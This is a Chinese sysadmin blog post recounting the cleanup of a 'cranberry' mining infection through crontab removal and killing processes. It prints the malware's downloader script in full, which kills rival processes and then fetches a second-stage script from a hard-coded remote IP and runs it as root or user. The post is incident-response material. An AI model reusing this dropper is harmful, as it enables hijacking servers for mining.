记录徒手解决cranberry病毒的过程

起始

今天中午测试反馈说线上系统频繁的报502错误,并且响应极慢。
开始怀疑是公司哪位小哥在下载小电影,但打开其他网站都很快。于是继续怀疑难道是业务激增导致带宽被占满了,于是登录监控界面,显示只用了80Mb,带宽也没占满。

发现根本原因

ssh上服务器之后,本能的执行top命令,返现cranberry进程几乎把cpu吃满了。

于是尝试kill掉进程

kill -9 14465

kill掉之后,cranberry又会立即自动重启。
在紧盯屏幕之后,惊喜的发现crontab进程。于是大喜过望,这哥们会啊。crontab命令教程
于是查看crontab的列表

crontab -l

看到如下命令,会通过定时任务去远程服务器下载脚本。

于是把crontab的列表删掉

crontab -r

然后,以为kill掉cranberry之后,就ok了,谁知道还是自动重启。
那只能耐着性子,把脚本下载下来研究一下了,脚本内容如下:

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

pkill -f jIuc2ggfCAvYmluL2Jhc2gi
pkill -f lowerv2.sh
pkill -f rootv2.sh
pkill -f sourplum
pkill -f nativesvc

ps aux | awk ‘{if($3>20.0) print $2}‘ | while read procid
do
kill -9 $procid
done

whoami=$( whoami )
if [ ${whoami}x != "root"x ];then
    curl http://172.96.252.86/lowerv3.sh > /tmp/lower.sh
    if [ ! -f "/tmp/lower.sh" ] ;then
        wget -P /tmp/ http://172.96.252.86/lowerv3.sh
        rm /tmp/lower.sh.*
    fi
    chmod 777 /tmp/lower.sh
    bash /tmp/lower.sh
else
    curl http://172.96.252.86/rootv3.sh > /etc/root.sh
    if [ ! -f "/etc/root.sh" ] ;then
        wget -O /etc/root.sh http://172.96.252.86/rootv3.sh
    fi
    chmod 777 /etc/root.sh
    bash /etc/root.sh
fi
echo "over"

这脚本倒也简单,主要是下载另外一个脚本,到/etc/目录中,名字是root.sh.
于是查看是哪个进程执行了脚本:

[email protected]:[/proc]ps -ef|grep root.sh
root      1541 28244  0 16:19 pts/1    00:00:00 grep root.sh
root      2036  1653  0 11:00 ?        00:00:57 bash /etc/root.sh
root      2080  1544  0 06:00 ?        00:01:21 bash /etc/root.sh
root      6035  5979  0 Jan15 ?        00:13:01 bash /etc/root.sh
root      8659  8156  0 05:00 ?        00:01:24 bash /etc/root.sh
root      9649  9627  0 Jan15 ?        00:07:03 bash /etc/root.sh
root      9979  9731  0 02:00 ?        00:03:12 bash /etc/root.sh
root     11925 11497  0 14:00 ?        00:00:16 bash /etc/root.sh
root     14874 14437  0 Jan15 ?        00:08:55 bash /etc/root.sh
root     14931 14794  0 Jan15 ?        00:12:22 bash /etc/root.sh
root     14935 13330  0 15:00 ?        00:00:00 bash /etc/root.sh
root     15050 14391  0 12:00 ?        00:00:32 bash /etc/root.sh
root     15596 15349  0 Jan15 ?        00:03:46 bash /etc/root.sh

把上边的进程kill掉:

kill -9 2036 2080 6035 8659 9649 9979 11925 14874 14931 14935 15050 15596 16459 17199 19983 20478 20795 21609 21810 23402 24943 25513 27988 28883 29853 31304 31499 32364

然后再kill掉cranberry:

killall -9 cranberry

于是cpu恢复到了正常水平。

cranberry病毒的原理

  1. 通过定时去远程下载脚本
  2. 通过脚本,执行守护任务,
  3. 发现cranberry被kill之后,立即通过crontab启动。

原文地址:http://blog.51cto.com/4436396/2061649

时间: 2024-11-15 12:18:03

记录徒手解决cranberry病毒的过程的相关文章

捉虫记录:解决内存泄漏问题

LinJM   2014_05_23 解决内存泄漏问题 在VS2010的Debug模式下面,点击运行,然后退出,之后会在输出框里面出现内存泄漏信息(如下图所示). Analysis:主要是new了之后没有delete相应的变量,所以,很明显就是要在不使用时delete掉这个变量.不过,有个问题,如下图所示: 我代码修改位置如下所示: 我把红下划线部分注释掉就不会出现上面那个问题,后来讨论分析才发现pBim现在分配给了pAdjustmentLyInfo,二者现在指向同一个内存空间,当我delete

黑暗世界错误记录(待解决)

启动startmaster.py错误 ImportErrorImportErrorImportErrorImportError: : : : NNNNo module named affinityo module named affinityo module named affinityo module named affinity unity3d调试错误 --------- beginning of /dev/log/system--------- beginning of /dev/log/

2019-03-26 SpringBoot项目部署遇到跨域问题,记录一下解决历程

近期SpringBoot项目部署遇到跨域问题,记录一下解决历程. 要严格限制,允许哪些域名访问,在application.properties文件里添加配置,配置名可以自己起: cors.allowed.origin=http://10.xx.253.xx:8081,http://localhost:4200 做前后端分离的时候,这里允许的域名/IP一般都是前端项目所部署的机器. 添加一个配置类.@Configuration和@Bean注解一定要加上的.这样SpringBoot在启动的时候才会扫

解决linux病毒导致带宽跑满的解决过程 ,可以参考参考

案例描述 早上接到IDC的电话,说我们的一个网段IP不停的向外发包,应该是被攻击了,具体哪个IP不知道,让我们检查一下. 按理分析及解决办法 首先我们要先确定是哪台机器的网卡在向外发包,还好我们这边有zabbix监控,我就一台一台的检查,发现有一台的流量跑满了,问题应该出现在这台机器上面. 我登录到机器里面,查看了一下网卡的流量,我的天啊,居然跑了这个多流量. 这台机器主要是运行了一个tomcat WEB服务和oracle数据库,问题不应该出现在WEB服务和数据库上面,我检查了一下WEB日志,没

记一次删除Git记录中的大文件的过程

app/test/target/ #查看大文件 git rev-list --objects --all | grep "$(git verify-pack -v .git/objects/pack/*.idx | sort -k 3 -n | tail -5 | awk '{print$1}')" #删除大文件或者目录 git filter-branch --force --index-filter 'git rm -rf --cached --ignore-unmatch app/

HBase解决Region Server Compact过程占用大量网络出口带宽的问题

HBase 0.92版本之后,RegionServer的Compact过程根据待合并的文件大小分为smallcompaction和large compaction两种,由此可能导致在集群写入量大的时候Compact占用过多的网络出口带宽.本文将详细描述集群使用过程中遇到这一问题的排查过程及其解决方法. 1. 发现问题 HBase集群(版本为0.94.0)运行过程中,发现5台Region Server的网络出口带宽经常维持在100MB/s以上,接近到网卡的极限:同时Region Server的机器

记录一下我的排查问题过程实例

其实实习这么久,花最多时间还是在排查自己代码出的问题上面去. 其实也没有什么统一的方法,我自己也不喜欢断点调试. 总结一点:认真看报错和日志!然后一层一层寻找问题所在. 感觉就像在玩侦探破案游戏一样,找到了问题并且解决是很有成就感的(我并不是QA哈哈) 记录一下自己出的bug 1.数据库 感觉数据库的问题,报错都挺明显的,只不过很长,注意看就行了. {   "isError": true,   "message": "\n### Error updatin

解决挖矿病毒占用cpu以及误删 ld-linux-x86-64.so.2 文件的问题

上次已经被抓去挖矿了当了一次旷工了,本以为解决了,没想到竟然死灰复燃. 这次占用cpu的依然是一个ld-linux的进程,kill掉之后同样就查了关于test用户的进程,果然,test用户的进程有100+个,比不上上次,还是用上次的脚本,将test的进程也kill掉.为防止恶意添加用户,将/etc/passwd 文件里的test用户删除后,给该文件添加了隐藏权限 i ,具体功能不知道的可以查下,此处不多介绍.再把主进程ld-linux干掉之后cpu直接降下来. 这已经是第二次了,为了防止还有第三

Python 打包工具cx_freeze 问题记录及解决办法

在节前的最后一天,解决了打包过程中遇到的所有问题,可以成功运行了!真是个好彩头,希望新的一年一切顺利! 以下是在使用cx_freeze过程中遇到的问题及解决办法(Win7) 问题描述:运行exe,启动无数个主程序,导致系统无法使用   原因:在程序中使用了multiprocessing的包   解决办法:在主文件if __name__ == "__main__":后,添加multiprocessing.freeze_support(),一定要在添加在最开始处 2. 问题描述:运行后,提